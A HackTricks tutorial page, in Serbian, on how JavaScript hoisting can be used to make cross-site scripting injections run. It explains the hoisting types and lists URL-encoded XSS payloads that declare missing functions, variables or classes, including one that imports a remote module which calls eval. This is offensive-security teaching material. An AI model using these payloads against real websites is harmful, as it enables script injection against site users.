JS Hoisting
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
U JavaScript jeziku, mehanizam poznat kao Hoisting opisuje situaciju gde se deklaracije promenljivih, funkcija, klasa ili uvoza konceptualno podižu na vrh svog opsega pre nego što se kod izvrši. Ovaj proces automatski obavlja JavaScript engine, koji prolazi kroz skriptu u više prolaza.
Tokom prvog prolaza, engine analizira kod kako bi proverio sintaktičke greške i transformiše ga u apstraktno sintaktičko stablo. Ova faza uključuje hoisting, proces u kojem se određene deklaracije premeste na vrh konteksta izvršenja. Ako je faza analize uspešna, što ukazuje na to da nema sintaktičkih grešaka, izvršenje skripte se nastavlja.
Ključno je razumeti da:
- Skripta mora biti bez sintaktičkih grešaka da bi došlo do izvršenja. Sintaktička pravila moraju se strogo poštovati.
- Postavljanje koda unutar skripte utiče na izvršenje zbog hoistinga, iako se izvršeni kod može razlikovati od njegove tekstualne reprezentacije.
Tipovi Hoistinga
Na osnovu informacija sa MDN-a, postoje četiri različita tipa hoistinga u JavaScript-u:
- Value Hoisting: Omogućava korišćenje vrednosti promenljive unutar njenog opsega pre njene deklaracije.
- Declaration Hoisting: Omogućava referenciranje promenljive unutar njenog opsega pre njene deklaracije bez izazivanja
ReferenceError
, ali će vrednost promenljive bitiundefined
. - Ovaj tip menja ponašanje unutar svog opsega zbog deklaracije promenljive pre njene stvarne deklaracione linije.
- Sporedni efekti deklaracije se dešavaju pre nego što se ostatak koda koji je sadrži evaluira.
Detaljno, deklaracije funkcija pokazuju ponašanje tipa 1 hoistinga. Ključna reč var
pokazuje ponašanje tipa 2. Lekcionalne deklaracije, koje uključuju let
, const
, i class
, pokazuju ponašanje tipa 3. Na kraju, import
izjave su jedinstvene po tome što se podižu sa ponašanjem tipa 1 i tipa 4.
Scenariji
Dakle, ako imate scenarije gde možete Umetnuti JS kod nakon što je korišćen nedeklarisani objekat, mogli biste ispraviti sintaksu tako što ćete ga deklarisati (tako da se vaš kod izvrši umesto da izazove grešku):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
Više scenarija
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
Reference
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.